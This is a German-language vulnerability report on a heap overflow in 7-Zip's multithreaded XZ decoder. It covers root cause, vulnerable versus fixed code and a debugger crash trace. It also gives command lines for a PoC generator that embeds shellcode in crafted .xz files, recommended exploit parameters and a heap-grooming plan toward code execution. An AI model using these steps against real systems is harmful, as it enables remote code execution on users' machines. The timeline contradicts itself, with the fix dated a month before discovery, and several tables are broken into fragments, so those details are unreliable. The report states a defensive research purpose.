
7-Zip XZ Decoder Heap-Pufferüberlauf - Vollständige Analyse, Grundursache, PoC und RCE-Ausnutzungs-Roadmap
Kritischer Schweregrad | CVSS: 8.8 (Hoch) | CWE-122: Heap-basierter Pufferüberlauf
Betroffen: 7-Zip ≤ 26.01 | Behoben: 7-Zip 26.02 (2026-06-25)
Entdeckt und analysiert von: Li Yuxuan (liyuxuan504-byte) und Team
Im multithreaded XZ-Decoder-Pfad von 7-Zip Version ≤ 26.01 existiert ein Heap-Pufferüberlauf. Eine manipulierte .xz-Datei kann einen Schreibzugriff jenseits des heap-allocierten Ausgabepuffers auslösen, was zu Folgendem führt:
STATUS_ACCESS_VIOLATION (0xC0000005)Die Schwachstelle befindet sich in MixCoder_Code() in C/XzDec.c, wo der SingleBuf (outBuf)-Zweig ein ungeprüftes destLen2 an den LZMA2-Decoder übergibt, ohne es gegen die verbleibende Pufferkapazität (outBufSize - outWritten) zu begrenzen.
Jedes System oder jede Anwendung, die ein anfälliges 7-Zip (oder 7z.dll) zum Extrahieren nicht vertrauenswürdiger .xz-Dateien verwendet, ist gefährdet – der multithreaded Pfad ist auf Mehrkernsystemen standardmäßig aktiviert.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf-Zweig, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← KEINE Begrenzung
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← kann dicBufSize überschreiten
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2-Kopie-Chunk-Schleife: memcpy(dic + dicPos, src, size)
→ dicPos überschreitet dicBufSize → HEAP-ÜBERLAUF
Anfällig (26.01) — C/XzDec.c ~Z.606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← roher Wert, keine Begrenzung!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← protokolliert Summe, prüft aber nie
}
Behoben (26.02) — C/XzDec.c ~Z.605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEUE Begrenzungsprüfung
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // Inkonsistenz → Abbruch
destLen2 -= p->outWritten; // auf verbleibende Kapazität begrenzen!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
Die Korrektur besteht aus 3 Zeilen. Sie subtrahiert p->outWritten (bereits in diesen outBuf geschriebene Bytes) von destLen2, bevor es an den LZMA2-Decoder übergeben wird, und stellt so sicher, dass der Decoder nie über den allocierten Puffer hinaus schreiben kann.
Im single-threaded Pfad wendet XzUnpacker_Code vor dem Aufruf von MixCoder_Code eine eigene unpackSize-basierte rem-Begrenzung an. Diese Begrenzung drosselt die Ausgabe korrekt. Der multithreaded SingleBuf-Pfad umgeht diese Begrenzung, da er destLenOrig direkt durchreicht – die vorgelagerte Begrenzung ist unwirksam, wenn destLen auf die volle verbleibende Eingabegröße voreingestellt ist statt auf die tatsächliche verbleibende Pufferkapazität.
Der outBuf wird auf dem CRT-Heap über ISzAlloc_Alloc(allocMid, unpackSize) allociert:
unpackSize | Allokator | Exploitierbarkeit |
|---|
Der vielversprechendste Exploitationsansatz:
unpackSize (256–16384 Bytes) verwenden, um LFH-Allokation auszulösennext-Zeiger korrumpieren → erreicht einen beliebigen Allokationsprimitive| Fähigkeit | Status |
|---|
Herkömmliche Debugger (x64dbg, WinDbg) verändern das Prozesserstellungsverhalten. Unter einem Debugger lädt 7z.dll möglicherweise nie den multithreaded XZ-Pfad – der Prozess fällt stillschweigend in den single-threaded Modus zurück, in dem die Schwachstelle nicht auslöst. Die Vorgehensweise erforderte:
tools/)poc/poc-cve-2026-14266-rce.py ist ein voll ausgestatteter XZ-Exploit-Generator:
# Absturzbestätigung (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset-Erkennung (zyklisches Muster):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode-Nutzlast:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Benutzerdefinierte binäre Nutzlast:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
# Multithreaded (anfälliger Pfad):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NICHT anfällig – zum Vergleich):
7z.exe x poc.xz -so -mmt=1 > NUL
Getestet auf: Windows 11 Pro x64 (Build 26200) + 7-Zip 26.00
Wichtige Erkenntnis: Alle LFH-Bereichs-Allokationen (≤16 KB) erzeugen stille Überläufe – Nutzlastdaten werden auf benachbarte Heap-Objekte geschrieben, ohne sofortigen Absturz. Dies ist die Voraussetzung für RCE-Exploitation.
Aus einer live x64dbg-Sitzung (7-Zip 26.00, MT-Pfad):
Fehlerhafte Anweisung: mov byte ptr [rcx], r11b
Fehleradresse: msvcrt.dll + 0x7B1EE (memcpy innerer Byte-Kopier-Schleife)
Fehler-VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 Bytes jenseits des 0x40000-Byte-outBuf)
Decoder-Struktur (rbx = 0x12363B0BB00):
+0x28: outBuf-Basis = 0x12363C10000
+0x30: outBuf-Kapazität = 0x40000 (262144 = unpackSize)
+0x38: Schreibcursor = 0x40000 (BEREITS VOLL wenn Überlauf beginnt)
Aufrufkette:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (LZMA2/XZ-Decode-Ausgabe-Kopier-Schleife)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (XZ multithreaded Decode-Einstieg)
← ntdll.dll+0x1D141 (Thread-Start)
C/XzDec.c)7z x -mmt=1 <datei.xz>0xC0000005 beendet wird0xC0000374)unpackSize überschreiten├── README.md ← Dieser Bericht
├── src-diff/
│ └── XzDec.diff.txt ← 26.01 vs 26.02 MixCoder_Code()-Diff
├── poc/
│ └── poc-cve-2026-14266-rce.py ← PoC-Generator (zyklisch/Shellcode/roh)
├── tools/
│ ├── 04-heap-analyze.ps1 ← x64dbg MCP-Automation für Heap-Layout
│ ├── 05-mini-debugger.ps1 ← C# Win32-Debug-API-Mini-Debugger
│ └── 06-guard-dump.ps1 ← Guard-Page-Heap-Dumper (LFH-Analyse)
└── docs/
├── 01-crash-point-analysis.md ← Live-Absturz-Trace (x64dbg)
├── 02-vulnerability-root-cause.md ← Vollständige Ursachenanalyse
└── 03-rce-exploit-plan.md ← RCE-Exploitation-Strategie
Dieser Bericht dient ausschließlich Bildungs- und defensiven Sicherheitsforschungszwecken. Der PoC-Code wird bereitgestellt, um Sicherheitsforschern und Verteidigern zu helfen, die Schwachstelle zu verstehen und Erkennungsfähigkeiten zu entwickeln. Verwenden Sie diesen Code nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
| ≤ 16 KB | LFH (Low Fragmentation Heap) | ★ Am besten für RCE – benachbarte Objekte im selben Bucket |
| 16–64 KB | Segment Heap (Backend) | Möglich – Korruption der Freiliste |
| ≥ 64 KB | VirtualAlloc (seitengrenzenausgerichtet) | Nur DoS – Guard-Page fängt Überlauf ab |
| DoS (Absturz) | ✅ Bestätigt, zuverlässig auf 7-Zip 26.00 x64 |
| Stiller Heap-Überlauf (LFH) | ✅ Bestätigt – schreibt über Puffer hinaus, Exit-Code 2, kein Absturz |
| Kontrollierte Nutzlastzustellung | ✅ Vollständig steuerbar über LZMA2-Kopie-Chunk-Daten |
| Heap-Layout-Primitive | ✅ Konzept nachgewiesen – erfordert zielabhängige Layout-Optimierung |
| Vollständige RCE-Kette | ❌ In Bearbeitung – benötigt Heap-Layout-Analyse auf dem Ziel |
| Parameter | Beschreibung | Empfohlen |
|---|
--unpack-size | Block deklarierte unpackSize (= outBuf-Allokationsgröße) | 256–4096 für LFH-RCE |
--overflow | Gesamtanzahl Bytes, die über outBuf hinaus geschrieben werden | 4096–32768 |
--chunk-size | LZMA2-Kopie-Chunk-Datengröße (1–65535) | Darf unpackSize nicht gleichmäßig teilen! Primzahl (97) oder --force-align-overflow verwenden |
--payload-cyclic | Zyklisches Muster zur Offset-Erkennung | Zuerst verwenden, dann durch echte Nutzlast ersetzen |
--payload-shellcode | Win x64 WinExec("calc.exe")-Shellcode einbetten | ~276 Bytes |
unpackSize | chunk_size | Overflow | Ergebnis |
|---|
| 256 KB (0x40000) | 4096 (ausgerichtet) | ~32 KB | 0xC0000005 – Zugriffsverletzung (Guard-Page) |
| 256 KB | 3 (original DoS) | ~30 KB | 0xC0000005 – Zugriffsverletzung |
| 256 KB | 4096 | ~32 KB | 0xC0000374 – Heap-Korruption erkannt |
| 256 B | 97 | ~1 KB | Exit 2 – Stiller Überlauf! |
| 4 KB | 97 | ~16 KB | Exit 2 – Stiller Überlauf! |
| 16 KB | 97 | ~32 KB | Exit 2 – Stiller Überlauf! |
| Datum | Ereignis |
|---|
| 2026-07-24 | Schwachstelle entdeckt und auf 7-Zip 26.00 bestätigt |
| 2026-07-24 | Absturz-PoC entwickelt; Live-Debuggen bestätigt Heap-Überlauf |
| 2026-07-24 | Ursache identifiziert: fehlendes destLen2 -= outWritten in MixCoder_Code |
| 2026-07-24 | RCE-PoC-Generator mit LFH-Exploitation-Strategie entwickelt |
| 2026-07-25 | Vollständiger Analysebericht veröffentlicht |
| 2026-06-25 | 7-Zip 26.02 mit Fix veröffentlicht |